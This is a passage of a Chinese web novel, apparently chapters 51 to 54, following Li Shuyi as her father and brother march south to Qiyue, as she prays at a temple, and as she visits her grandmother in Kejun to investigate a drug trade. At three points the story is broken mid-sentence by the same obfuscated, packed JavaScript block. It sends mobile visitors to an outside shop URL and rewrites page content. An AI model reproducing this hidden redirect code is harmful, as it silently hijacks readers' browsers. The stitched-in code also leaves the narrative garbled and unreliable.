南征 大约是过度劳累,刚至戌时黎书意便困乏笼罩,她就没有等父兄归家,梳洗毕就上床歇息去了,头一沾枕头,酣睡如泥。 次日一早,她在清晨的沉静中自然苏醒过来,饱饱睡了一觉,身上连日的疲乏一扫而光,此刻的她身心舒畅,将被子掀开,她唤兰亭备水。 待弄妆完了,食案上已摆好早膳,分别是枣沫粥、五福饼和玉梁糕,光看着她便不由食指大动,心情也越发愉悦了。 正吃着,谢烜赫来了,他不似以往那般进屋随侍,而是站在了屋外,黎书意没多想,继续享受她的美食。 用过早膳,她紧接着进书房了,修整了一日,眼下也该做正事了,点了香,她在案前坐下,提笔蘸墨在白纸上一字一字写着。 清香缭绕,书房里一片静谧,中途只兰亭进来倒过两次茶水。 写了一个半时辰,她搁下笔,扭了扭酸涩的脖颈,朝外头叫道:“时野,你进来一下。” 这一旬的任务眼下已经完成了,她打算拿给另外一位一同经历的人审判一下,看这么写是否合适。 叫完人,良久没见人来,她正准备再喊,外头传来兰亭的声音:“二姑娘,时野在练剑。” 练剑?怎的今日突然兴起,黎书意诧异极了,她起身走到门外,见谢烜赫果真在练剑。 少年身姿飘逸,宛若蛟龙,手中剑也如同闪电般飞速闪动,秋冬季节的树叶本就易落,被他凌厉的剑势一扫,似雨纷落而下。 不知是不是错觉,她怎么感觉他有点发气的意味呢,不禁皱眉疑惑起来。 正看着,月洞门传来丫鬟的问候声,一转头见是兄长来了,她昨晚歇得早,不知父兄是何时回来的,更不知宴上的情况又怎么样? 乱想间,兄长已经走到身边,她忙唤道:“兄长。” 黎长策点头,旋即偏头看向远处的谢烜赫,问:“他怎么了?” 黎书意望一眼已经收招的少年,茫然地摇头,“不知。” 不多时,谢烜赫收剑走过来,到二人跟前,他淡淡叫了句:“少将军。” “怎的大早上在这练剑?”黎长策看着来人。 “闲来无事。” 闲来无事,黎长策不信,瞥一眼他那一无所知的小妹,恐怕是因为她,再深想,多半与谢煜然有关。 黎书意眉头轻皱,她看着目不斜视的谢烜赫,心里有点吃味,因着表面上是她侍卫的缘故,他平日里叫二姑娘叫得格外顺口,今天却直接略过她了。 好吧,刚才还纳闷,现在她知道了,原来这厮还在为昨天的事生她的气呢,她也没想到那话竟然有如此大的威力。 记得谢烜赫初来孟章时,凭借着俊美的长相和高贵的出身,他迅速引起城中妙龄少女的注意,献花随街者无数。 不过,当她们受了几次冷遇,发现他疏离淡漠的性格,便不敢再造次了。 一直以来,黎书意以为他对情爱漠不关心,原来却不是,估计自己的话无意间刺痛了他,这么想着,她想着私下还是道个歉为好。 想起案头那一堆稿子,她决定先把这事解决了,便道:“兄长,近期的书稿我已经写完了,你帮我看看?” “好。”黎长策点头。 进到房中,黎书意从案上拿起稿子递给他。 黎长策接过稿子,然后认真地翻看起来,过了两刻钟,他将稿子往桌上一搁,对小妹说:“很好,等会我就帮你送去,不过下回得让他去了。” 说着,他的目光转到谢烜赫身上。 这话黎书意听着奇怪,她知道兄长一直很仰慕苏先生的才华,每隔一段时间便会去寻他,与他一起品评诗书,送稿子只是顺便,于是便问:“怎么了吗?” 黎长策看着自家小妹,想起了昨夜的婚宴,宴上,他与父亲成为新人之外最受关注的人,一出现大家便齐望过来,他们目光迥异,有的奚落,有的唏嘘,谢煜然则是因为心虚有愧,根本不敢靠近。 而皇帝,却是一副一无所察的模样,酒至半酣,他将父亲拉过去,像是老友一般在酒桌上畅谈起来,先提到年轻时在战场上并肩作战,接着又提到年初北征的胜利,然后谈及麒越最近的动荡,最后说还要劳他多费心。 望着盯着自己的星眸,黎长策心里涌过疼惜,对将军府处境的担忧,对战场上的他与父亲的牵挂,他深知北征时小妹在家空守的煎熬,如今才回来不到半载,又要远征了,他于心不忍。 虽不想看小妹难过,然而这事根本隐瞒不了,踟躇了一会,到底还是直说了:“再过几日,我和父亲要南征。” “南征!哪个地方?”黎书意怎么也想不到会得到这样的回答。 “麒越。” 麒越地处西南,那里地广人稀,是少数民族聚集地。虽在边陲,但因着那些少数民族个个骁勇善战,所以少有外敌侵扰,便追问:“那里如何了?” “角族部落首领嵇弋统一部族,势力越发壮大,最近蠢蠢欲动,有想独立的趋势。” “为何突然派兵去那?”从进屋以后便一直未说话的谢烜赫提出疑问,“麒越虽然一直是西景的领土,可因为是少数民族聚集地,其实不过是占着名义而已,并无实际管辖权。” 黎长策答道:“如今国库空虚,麒越虽算不得大郡,但一郡的年税依旧可观,皇帝一直想收回,所以便打算趁此机会彻底收归管辖权。” 黎书意闻言陷入思考,此行既然是收复失地,定然是先礼后兵的,也就是说父兄面临危险的可能性相对小一些,那么她心里的担忧便也少一些。 只是,如今正是对付梁甫的关键时候,他们突然因公离开,麒越与孟章相距甚远,又要平定骚乱,到时候只怕是鞭长莫及,分身乏术,想到这她不免焦虑起来。 申时,父亲才回到家中,他是从大营赶回来的,晚膳时,饭桌上也在同兄长聊调兵遣将的事。 黎书意听着听着,心情越发低落,才回来没几个月,如今又要走了。 将事情简单交代了一番,黎横天方拿起筷子,这才恍然察觉到女儿一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545710|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说话,一转头见她一脸愁容。 知道她为何如此,便安慰道:“身为将士,保家卫国是我的责任,你不必太过担忧。” 黎书意点头,她的心情很矛盾,父兄不能出征她愁,父兄出征她也愁。最后,这顿饭吃得没滋没味。 从尚姜院回来,她懒懒地坐在床上发呆。 兰亭抬水进来,伺候她梳洗,卸发钗时问:“二姑娘打算何时去弘恩寺?” 父亲出征前去寺庙上香是府中的惯例了,从前是母亲带她去,今年伊始便是她自己了。 虽然她很清楚祈福只不过是求心安罢了,但是别的她没法做,便只能借由这种方式寻求慰藉。 “后日吧。”她从镜台前起身,然后移步到净室沐浴去了。 次日清晨,黎书意坐在书房看书,看着看着心思飘远了,不知内容为何物,最后索性将书本丢开,忽然得知父兄将要远征,她根本静不下心来做任何事。 “大将军骁勇善战,你兄长北征时表现优异,你不必太担心了。”正在叹气,谢烜赫走进屋中。 看了一眼走近的人,黎书意没说话,她时常用类似的话来安慰自己,可战场上的事情哪里说得准,是以,这样的话安慰效果不大。 从记事起,她便知道自己的父亲是声名赫赫的武将,那个时候,她为此而骄傲,认为出征十分光荣。 每一次送军,她都特别开心,听着百姓的欢呼无比自豪,只有等彻底看不见父亲的身影了,才终于转喜悦为失落,思念刚走的人。 可抬头望向牵着她手的母亲,却见她表情忧郁,目光定定盯着父亲消失的方向,上阵杀敌明明是好事,她不懂母亲为何担忧。 稍微大一点,她明事理了,了解了战争的残酷,又在父亲身上发现了大大小小的伤痕,她变得和母亲一样,每逢出征就担忧得不得了。 就是在这种既骄傲又担忧的心情下,她慢慢地长大,然而十多年过去了,她仍然无法习惯。 从伤感的情绪里抽出,她叹道:“真希望有朝一日能统一领土,然后没有战争。” “会有这么一天的……” 说话的声音带着渴望与笃定,黎书意转头看着谢烜赫,猛地想起来,眼前的这位是西景的宗室子弟,光复西景乃是他的责任。 忽而又想起昨日他不理自己,现下却破戒了,便调笑道:“终于和我说话了?” 说完,见谢烜赫只定定看着她,也不言语。 知道前日自己失了分寸,她嗫嚅了一会,然后将头微微偏向一侧,轻声道:“我向你道歉,下次不随便开玩笑了。” 谢烜赫抿唇深深凝视着神色忸怩的少女,心里涌过悲哀,她连他在气什么都不知道。 有那么一瞬间,他冲动到想要说出一切,最终到底忍下了,他目前的状况哪里适合呢? 收回目光,他喉头滑动,轻叹一句道:“算了……” “算了?”黎书意重复着这两个字,皱眉琢磨它的意思,想这是接受她的道歉了吗? 52. 祈福 翌日清晨,黎书意去弘恩寺祈福。弘恩寺在西城门外,那里峰峦窈窕,林木耸秀,而寺庙便隐匿在山麓之间。 已经入冬,山上万木凋零,叶落纷飞,空中黄叶如蝶舞,山阶上满地流金。 由山门进入寺中,只见眼前殿宇巍巍,廊芜曲折,因这里香火一年四季都很旺盛,即便黎书意他们已经赶早来了,但是寺内的人依旧不算少。 作为这里的老香客,庙中僧人基本都识得黎书意,进庙以后她先按照规矩领了香,然后再点燃香火虔诚地从正殿开始朝拜。 拜过四方,她按照惯常的行径路线,先去天王殿拜,祈求家宅平安,然后去药师殿拜,祈求家人健康,接着去华严殿拜,祈求学有所成,最后去武神殿拜,望神明们能保佑父兄南征一切顺利,平安回来。 光是祭拜上香,花了将近半个时辰。 从武神殿出来,面前走过两个妙龄少女,她们手里拿着刚在法物处那里购得的开过光的手串。 瞟一眼那玲珑的手串,她的目光划到了旁边的谢烜赫身上,这手串她送给过父亲、母亲、兄长和谢煜然,就连兰亭、舒凌寒、富春姑姑和天元姑姑也都有,唯独旁边这人没有,然而现下他是一个格外需要神明眷顾的人,她决定为他也去求一串。 既是送人礼物,还是惊喜点好,眼睛一转,她打算将人先支开,便道:“时野,你去让食僧准备斋饭,我再去其他殿拜拜。” “好。”谢烜赫不疑有他,领了命便转身离开了。 兰亭跟着二姑娘来了数遭,如今要拜的都已经拜过了,便奇怪地问:“二姑娘,你还想去哪座殿?” “去法物处。” 法物处,一听这地方,兰亭便知她家二姑娘是要去买珠串的。 联想到她刚才特意支开了时侍卫,兰亭猜测这珠串大约是送给他的,她本欲开口劝说,一个侍卫哪里用得着主人这般对待,后来一想,自己也是得了的,到嘴边的话到底止住了,乖乖随二姑娘去选佛珠了。 法物处在东角,那里香客依旧很多,走进去,见桌案上摆着各式各样的珠串,有黑曜石、黑檀木、白玉菩提……每一个的寓意都不同。 其中,十八籽最受欢迎,它由十八颗不同的珠子组合而成,挑了一串成色最好的,她走到不远处的青鼎炉前,然后持手串在白烟上过了过,熏足了香火气,方揣进袖中,等着送人。 走到厢房,见食僧正好送斋饭来,一共有三道,椒麻豆腐、桂花芋头和蒸南瓜,素斋口味清新淡雅,吃惯了鸡鸭鱼肉,偶尔吃一顿这样的,倒也爽口。 用过午饭,休息了半个时辰,她与主持略闲谈了几句,捐了些香油钱,然后便下山离开了。 回到府中,已经申正了,过不久就该用晚膳了,这个晨点再看书写字有些尴尬,于是她索性放下,想着不如为父兄打点行装。 走至二门她停下,转身面对谢烜赫,然后从袖中取出手串,递出去道:“给你,这是我今日在寺里求的。” 说毕,偷眼看谢烜赫的反应,见他一脸讶然地望着她,便找补几句:“寺里的手串十分灵验,今日去了就顺便求一串,我父兄都有了,这一串便送给你了。” 谢烜赫看着用颜色各异的珠子串成的珠串,有些愣怔,呆了片刻方伸手接过,拿着珠串他嘴角微不可察地翘起一个弧度,近水楼台确实不错,这几个月可比他过去两年受的礼物多。 没几日,便到了出征的日子。 “二姑娘,马车已经备好,可以出发了。” 闻言,黎书意审视了一下铜镜里的自己,确定发髻、妆容和衣服都一丝不苟了,她从镜台边起身,然后离开了房间。 出了小院走至二门,恰好碰见叔母,黎书意问了好,然后两人便一道同行,因是送亲出征,彼此心中满含忧虑,是以途中没怎么聊天。 到了府门口,见外面停着一辆双驷马车,两边各有五名侍卫随护,谢烜赫站在门外,他身上虽然还是那身熟悉的侍卫武袍,可头发显然细细打整过。 等叔母上车,黎书意紧跟着踏上马凳,然后登上了马车,待她在车厢里坐好了,车夫催动马匹,马车缓缓动了起来,往城门口方向驶去。 昨日午后,父兄在祠堂上完香,同她和谢烜赫交代了几句,便去大营了,今天他们会直接从那里出发。 虽然想说的话都已经说过了,但是她还是想亲眼送他们离开,哪怕只是远远的看着也行。 将军府距离南城门有一段距离,等赶到的时候城门口早就聚集了不少民众,两道上人群比肩叠踵。 下马车时黎书意看到了这一幕,心下不由一阵动容,尽管对天家失望,但为他们也是值得的。 城楼高大巍峨,护城军精神抖擞地顺墙排开,因着身份,他们轻松地登上了城楼,站在二楼墩台上,她目视前方。 候了一会,闻马蹄声阵阵,不多时就见到黑压压一片骑兵如潮涌来,黎书意的视线紧紧追随着队伍最前列的那几道身影,她看着他们驾马而来,最后在城下驻足。 父亲、兄长、叔父、沥泉、绿沉,还有展元,他们每一个都身披重甲,手持金戈,雄姿英发,身后的黎家军也个个精神抖擞。 在发现了城门上的他们后,大家便仰头朝他们看过来,投以笑容,黎书意同样也回以笑容。 伴随着激昂的军乐,人群的呼声减弱,百姓们的目光投向三楼,黎书意仰头朝斜后方看过去,那里站着身穿蟒袍的谢煜然。 以往逢大战,都是皇帝亲自送军,这次却派了太子,可以说是战乱频繁,也可以说是轻慢以待,黎书意收回视线,继续不舍地注视着她的父兄。 城楼之下,黎横天将目光从送军的谢煜然身上离开,又看向自己的女儿,望了好一会方才收回目光,转头对黎家军的将士下令道:“出发!” 令毕,他干脆地调转马头。 金鼓喧阗,人声鼎沸,大军在热烈的送军气氛中开始移动。 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545711|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书意沉默地注视着城下大军,只见黎家军沿路前行,他们身上的盔甲在阳光照耀下闪着银光,万人齐动,像是银流奔涌而去,慢慢地,变得像是蜂蚁一样渺小,再后来便只能看到一片烟尘。 “走吧。”正看着,叔母说道。 她点头,终于收回远眺的目光,刚转过身,与下台阶的谢煜然视线对上,两边皆是一愣,叔母与兰亭都担忧地看过来,就连谢烜赫也在观察她的反应。 黎书意在心底叹气,觉得他们的担心有些多余,她不是一个喜欢纠结的人,放下了那便是真的放下了。 伤心不至于,排斥见面倒是真的,况且还是在现在这种场合,向他福身一礼后,她利落地转身朝另一边去了。 …… 风和日暄,吃罢午饭,黎书意移步至院中,昨日父兄刚走,今日她无心看书,也无心作画,遂泡了杯桂花茶,坐在院子观景吹风。 放眼望去,见草木萧疏,池水平静无波,庭院里一片萧索之景,随着父兄的离开,原本就有些空的将军府便更显寂寥了。 这时,一抹人影走入视野,只见谢烜赫提着剑从远处走来,他的出现让她的愁绪减轻了几分,还好他还在自己身边。 看样子他应该是外出办正事了,最近因父兄南征而烦恼,她都忘记了关心忘忧楼的调查情况。 想到这她急忙起身,当她与谢烜赫碰上时刚巧他走到书房门口,于是两人直接推门进去了。 谢烜赫看着黎书意将门掩上,然后回身朝他走来,黑亮的眼睛里带着几分急切。 自从谢世伯和长策离开后,她整个人便无精打采的,眼下难得有点别的表情,知她是想了解探查情况,他自动报上:“根据赤州暗卫探查回传的结果表明,逍遥丹和奴隶主要来自于客郡和南塔。” “客郡!”黎书意闻言不由眼睛微微张大,除了孟章和执明,这是她最熟的地方,那里可是她母亲的故乡。 谢烜赫颔首,继续往下道:“据纯钧所说,客郡的奴隶最多,且身体素质也最好,那里一定藏着巨大的秘密。” 会是什么呢?黎书意蹙眉沉思,不管是什么,一定是比忘忧楼更惊天动地的存在,那种得知探寻方向的兴奋,和无法预料的不安复从心头蹿起,她抬头问:“你要去那?” 谢烜赫点头。 他没有忽略少女眼里的渴望,带,随着调查的深入,危险逐渐增多;不带,如今她父兄出征了,他不忍让她担心受怕,一个人在家里干着急。 黎书意知道此去定有危险,自己不该为难谢烜赫,但是她真的不想一个人,她希望身边有人陪着,不知何时起,这个从前讨厌的人对她来说已经变得如此重要了。 怕他不答应,她立即作出保证:“你放心,我不会要求让你带着我参与追查,我只需要第一时间了解情况就好,明面上就说去探望我外祖母,这样,也让你的离开更合理。” “好。”谢烜赫最终答应了,他无法放她一人在这里。 53. 探亲 决定好要去客郡之后,黎书意便去信将这事告知彼方的外祖母了。 上次去是今年二月,正好在父兄北征以后,这次情况差不多,父兄再次外出打仗,她去探亲实属正常,她想没人能猜得到她此去还带了其他的目的。 送了信,她吩咐院里的丫头们整理行装,虽说归期不定,但估计是要些时日的,因此衣服、首饰、书籍、盘缠等物需得备好,此外还有给外祖母与表姐带的礼物。 等行装打点妥当了,她去了叔父叔母的院落,向叔母作别,并拜托她照管好将军府。 将一切都安排好了,隔天清晨黎书意便启程了。 此行她带的人并不多,丫鬟只带了兰亭一个,侍卫的话,除了谢烜赫以外,还另带了十二个身手好,为人可靠的亲卫,其中包括府中的侍卫长毕定边,虽说此行她不打算深度参与,但多少伴着凶险,这么做也是以备不时之需。 从孟章去客郡水路和路陆皆可,但是走水路更快些,因此他们先坐马车到城北码头,然后再弃车登船。 时值冬日,朔风阵阵,借着这股顺风,此一行竟然比以往要早了一日,赶了六日便到客郡了。 刚从船上下来,黎书意便在码头上看到了一张熟悉的面孔,百余步开外站在马车边的中年男人正是姚府的管事,冯伯。 看见她,冯伯急忙迎过来见礼道:“见过表姑娘。” “冯伯不必客气。”黎书意含笑回应,接着又问,“外祖母可还好?” 冯伯回说:“老夫人身体康健,收到您的来信她很开心。” 寒暄完,黎书意登上准备好的马车,然后便上路了。 行了一个时辰,马车终于到了姚府门口,黎书意从车上下来,在随从的簇拥下跨步入宅。 姚府人员简单,宅院仅三进,虽占地不大,但胜在布局精巧,里头屋宇池石错落,花草树木相缀,十分清新雅致。 黎书意轻车熟路地穿过前院来至正房大院,刚一进去,就见陈妈搀着外祖母迎过来,她急忙迎上去,嗔怪道:“外祖母腿脚不便,何须亲自来迎我。” 孟氏慈爱的目光落在外孙女脸上,笑说:“半载不见,我们婠婠又漂亮了许多。” “外祖母也是越来越年轻了。”黎书意讨巧地说,一面说一面从陈妈手中接过外祖母的手,然后搀着老人家一道往回走。 到了厅中,祖孙二人各自归座,丫鬟端上点心与清茶来。 “你们下去吧,我想和外孙女说说私话。”孟氏挥手遣退了下人。 陈妈、兰亭和另几个伺候的侍女依言退下。 待屋子里只剩下祖孙二人,孟氏道:“算算日子,靖桓与长策应该也到麒越了。” “应该到了。”提起父兄,黎书意心情不禁低落起来。 “唉……”孟氏长叹一声道,“身为武将,这是避不开的事,你需得看开些。” “外孙女省得。” 谈到沉重的话题,屋子里突然陷入安静,片刻之后,孟氏伸手轻抚着外孙女的头,声音里带着无限疼惜:“我的亲亲乖孙这一年辛苦了。” 说到这,她哽咽了一下:“原以为太子殿下会是良配,没成想……” 黎书意明白外祖母显然是想到了前不久谢煜然另娶他人的事,当初经历时她除了感慨,并不难过,今日听外祖母提起来,却忍不住鼻酸了,一想到有人为她牵挂,她又是感动又是歉疚。 正欲安慰,又听见外祖母道:“唉……原本那孩子也是不错的,你们两家又交好,只可惜……” 那孩子,谁?黎书意在脑子里绕了一个弯,才终于反应过来外祖母指的是谢烜赫。 心里的伤感被说不清道不明的感觉所替代,不说她都快忘了,她与谢烜赫小时候曾被双方父母戏言过亲事。 虽然谢烜赫还好好活着,可观如今的情况,他应当比她更没闲心谈婚论嫁。 “不怕,咱们家婠婠这么好,不愁找不到佳婿。” “是。”黎书意应和着,尽管她没半分想法,不过为了不让外祖母担忧,就什么都没有说。 祖孙二人略说了几句体己话,黎书意起身去安顿了。 姚府分东屋和西屋,长辈居东屋,小辈居西屋,随着家中子女故去,西屋渐渐空落下来。 黎书意来这里,历来都是住在西屋母亲从前的若兮院里,进入院中,见下人已经将她的东西安置得七七八八了。 院落里房间充足,兰亭也如惯例在西耳房下榻,为方便交流,黎书意让谢烜赫和毕定边两人住在东厢房,其余人则安排在跨院里。 安顿完了,黎书意又折回东屋,继续陪着外祖母说话,一直讲到要用晚膳了才歇嘴。 就在丫头婆子们刚布好饭菜的时候,外面传来一道激动了呼喊:“婠婠!” 接着,一个合中身材,面如满月,俊眼修眉的年轻女孩跨入厅中,来人名叫姚书颜,是黎书意的表姐。 黎书意很喜欢这位表姐,她性格爽朗,好诵诗读书,虽然平日见面的机会不多,但两人时常通信,聊得很投机。 许久未见,见着她,黎书意忙欣喜唤道:“表姐好。” 孟氏见表姊妹和气一团,欣慰地笑了,催促说:“快坐下。” 于是祖孙三人便坐在一起享用晚膳。 次日一早,向外祖母请过安以后,黎书意同表姐一道外出了,她打算去弘毅书院看看。 弘毅书院是外祖父姚丘所建的私学,他少时家贫,靠卖书求学最终官拜太傅,是朝中知名大儒,年逾五旬时因病不得以卸任,归乡后到底闲不住,遂在郡里开设私学,想着为本地的寒门子弟提供一条求学之路。 舅舅姚况虽博学多闻,但不喜入仕为官,成年后他继承外祖父的衣钵,在郡里教书育人,门生遍布,只可惜在一次乘船外出时,遭遇风浪,最终与妻子葬身大海,留下了彼时才十岁的表姐。 随着外祖父和舅舅的先后离世,书院的经营落到了外祖母的手上,不过近年,她因上了年纪,非大事基本不过问,而是将大权交与表姐,表姐身为女子,虽然无法入学,但因身份使然,她得以深入参与到书院的诸项事务之中。 因是民间所办的私学,书院的环境与规模自然不能与官学相比,在这里上学的基本都是生活拮据的寒门子弟,虽如此,但是学堂里学习氛围十分好,一进去便能听见朗朗的读书声。 绕过学堂,她随表姐去了典簿厅,帮忙整理学子们本月月试的考卷,以前来时黎书意也常帮忙,她尤其爱整理考生的文章,这让她可以快速了解时下文士的所思所想。 在那里待了将近一个时辰,她们终于忙完了,两人从厅里出来,边走边就各自看的文章交流起来。 走至半路,迎面撞见两人,一个年约四旬,相貌平平,穿着朴素,是书院的学监,另一个风华正茂,眉目俊秀,衣冠齐楚,赫然是梁祖庭。 黎书意没想到才刚来就撞上了梁家人,尽管心中惊讶,面上却不显,径自朝前走去。 在她们看见两人时,那两人也同样注意到她们了,等双方遇上,便停下来互相寒暄。 “见过韩学监。”黎书意点头问候。 韩学监笑道:“半年未见,黎二姑娘可好?” “很好。” 这时,一旁的梁祖庭插话进来:“昨日我便听说你来客郡探亲,正想着上门拜访,没成想今日便在这遇上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545712|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪里用得着特意拜访。”黎书意客气道。 略说了几句话,学监有事先离开了,而表姐也去找典簿谈事去了,然后便只剩下黎书意和梁祖庭。 黎书意正准备向梁祖庭辞别,还未说话,闻他道:“若黎二姑娘不嫌弃,回去时可与我同乘?” 表姐要申时才得闲,她原想着闲来无事先去书院到处转转,等时辰差不多了再回这里来,然后与表姐一同回家。 正想拒绝,忽而念头一转,她虽然不便主动去探寻梁家人背后的秘密,但是却可以被动观察,而梁祖庭就是一个很好的切入点,带着这样的想法她点头了。 梁祖庭所乘马车外观简洁大方,并无过多装饰,她踩着脚凳进入车中,车内置一张小案,软垫上铺着柔软的绒毯,空气中散发着淡淡的清香。 刚在左侧坐好,梁祖庭跟着上来了,在与她隔了一人的位置坐下。 两人不过是点头之交,实在没什么话可讲,黎书意虽然很想套话,但深知不能操之过急,结果便是梁祖庭问什么她答什么,聊到父兄南征时,马车停下了。 压抑了一路,见到家了,她心下松了口气,忙转头向旁边的人道谢:“我到了,谢梁大公子愿意载我一程。” 说毕,从座位上起来,避开梁祖庭的搀扶,自行下车了。 双脚踏上地面后,她回身对马车上的人做最后的告别,见梁祖庭一手拂着车帘看她,“今日遇见得仓促,改日我必登门拜访,替我向老夫人问好。” “我会向外祖母转答。”客套话说完,她点了一下头,然后利落转身。 刚一侧头,发现谢烜赫正朝这边走来,今晨他与自己前后脚出的门,来客郡的路上,他通过暗卫传信得知,混入奴隶群体的卧底被派至制作逍遥丹的药厂劳作,他说想看看目前有没有传回什么有用的消息,所以一早就去这边的据点了。 身后的马车已经缓缓动起来,黎书意迈步朝前走去。 人刚跨进门槛,谢烜赫便追了上来,问她:“你为何会与他一起回来?” “去书院时碰上了。”她随口回着。 谢烜赫突然脚步一顿,近乎笃定地望着她说:“你是想从他那儿探听消息。” “是。”心思被猜出,她便也不隐瞒了。 “此人城府极深,你这样做太冒险了。”谢烜赫一脸的不赞同。 见状,她立即做出保证:“我明白,我会小心的。” “你应当知道他对你不怀好意,那就该保持距离。”谢烜赫神情愈发严肃。 看他隐隐有生气的预兆,黎书意犹豫了片刻,最终选择妥协,毕竟能从梁祖庭那样的人精嘴里套出有用信息的可能很有限,便道:“好,我不和他主动接触,行了吧。” 这话说完,谢烜赫的脸色终于缓和。 两人继续往里走,只气氛有些低沉,黎书意不喜欢这种感觉,也对消息有些关心,于是走到无人的路段,她开口问道:“你那边怎样?” 谢烜赫目视前方,边走边回:“据这边的堂主传回的消息,潜入的暗卫发现同舍中有一个年轻男子形貌英伟,身手矫健,像是练家子,于是他便留心观察,然后发现他曾半夜偷偷出去过。” 闻言,黎书意脚步骤停,望向谢烜赫,惊讶出声:“难不成还有人在调查逍遥丹?” “嗯,应该是。” “可查出对方身份了?”黎书意迫切地追问。 谢烜赫摇头,“还未。” 黎书意敛目,若有所思道:“你说会是朝廷的人,还是其他什么势力吗?” “不知。”谢烜赫说,接着又补充道,“不过如果是查案的,或许可以利用。” “嗯。” 54. 追杀 翌日,黎书意卯初便醒了,一想到今天是何日子,她就没办法安稳睡到大天亮,趿鞋下床,挑了身米白色衣裳换上,等洗脸梳发毕,她便往东屋去了。 走至院门口,恰好碰见表姐,两人便同道而行,进了正厅,她们先后向外祖母问了安,然后再各自归座。 不多时,下人摆上食案,因为待会要在路上度过好几个时辰,所以这顿饭是早午膳并在一起的,菜色较往常要丰盛了许多。 饭菜虽可口,但席上的气氛略显低迷,几乎没怎么交谈,用过饭,下人进来撤桌,祖孙三人漱了口,便在椅子上闲坐消食。 过了一会,陈妈走进来通知道:“老夫人,东西已经备好,马车也在外面等着了。” “好,走吧。”孟氏说着起身。 于是黎书意与姚书颜也跟着起身,三人出了房间,然后带着一干随从出府了。 黎书意扶着外祖母上了马车,等人都坐好了,车夫扬鞭催马,车轮缓缓滚起来,向着城郊而去。 她们此行的目的地是姚家的墓地,今日是黎书意母亲的忌日,足足行驶了两个时辰,马车终于到了城郊的象头山。 黄土路两边衰草连天,满目萧然,路的尽头有一片坟场,中间是一座大墓,两旁分列着许多小墓。 下了车,黎书意与姚书颜一左一右,两人搀着孟氏往左侧的一座新坟走去,到了墓前,三人站定,然后静默不语地望向前方。 黎书意定定望着墓碑上“爱女姚锦一之墓”六个字,心头的难过如潮水扑来。 由于母亲是因疫病走的,为防止搬运途中造成传染的可能,遗体不得运回执明或是孟章,为了让她入土为安,便只好在客郡下葬。 对此,父亲并无异议,想着等他百年之后再行迁坟,好在这里本是母亲的故乡,也算是落叶归根。 每每想起母亲的遭遇,黎书意总忍不住想落泪,可侧头看着手边两鬓斑白的外祖母,她只能强忍着满腔情绪,白发人送黑发人,外祖母比她还要难受。 身后,陈妈正指挥随从搬运瓜果、点心、鲜花和纸钱等祭品。 黎书意挪动脚步,从兰亭那里接过备好的白山茶,这是母亲最喜爱的花,她将花束放在墓碑前。 陈妈走过来,将引燃的长香递给她,她双手接过,持香拜过以后,将香插入香炉。 三人沉默着上香烧纸,黎书意一面将纸钱扔进火盆里,一面在心里说起话来:母亲,女儿来看你了,父兄又出征了,这次去的麒越,望你保佑此战大捷,他们能早日归家。 其实,此来客郡,除了探望你们以外,我还有一件要事要办,母亲也知自从你离开以后,昭王府和将军府发生了许多事,如今我们已经探查出背后操纵之人是梁甫,他残害忠良,扰乱朝纲,望母亲护佑谢烜赫能顺利找出关键证据,还昭王府清白,让将军府免受牵连。 祭拜完了,她们登车回家。 …… 一转眼,黎书意已经在客郡待了小半月,她有时去弘毅书院帮忙,有时在家陪外祖母,日子过得安适惬意。 这日,看着外祖母睡下后,她轻手轻脚退出卧房,屋外阳光正好,剩下的这个下午她打算出去外面逛逛。 回西屋换了一身轻便的衣裳,她带着兰亭、谢烜赫和毕定边出门了。 客郡是西景的产铁大郡,冶铸业十分繁荣,尤其以精美的漆器和金银铜器制作而闻名,她喜爱金银首饰,也爱装点房舍,所以每次过来这边,必要去手工店铺里逛逛,挑点饰品、灯盏和杯具之类的东西。 郡里最繁华的集市在大阳街,到了集市,马车在街口停下,黎书意从马车上下来,留毕定边照看马车,然后领着兰亭和谢烜赫从街头逛起。 她首先进了首饰铺,在那里看中了一支镶宝鹿鹤同春金簪和两只紫铜錾刻手炉,簪子是送给林静仪的,手炉是送给父兄的,接着她又进了一家陶瓷铺,在那里看中了一个粉彩杏林春燕纹瓶。 将几样东西放回到马车上,她不再顺道而走,而是拐进了一条小巷,有些好铺子并不在繁华大道上,而是隐藏在深巷之中,譬如她现在要去的铜器铺,那家铺子虽然不大,但是器物却制作精良,她屋里的铜灯便是在那里买的。 远离喧闹的大街,四围渐渐安静下来,黎书意信步走着,刚走到岔路口正准备右转,忽然一个人迎面撞上来,巨大的冲击力使得她趔趄着向后退去,幸而被谢烜赫及时扶助了才不至于跌倒。 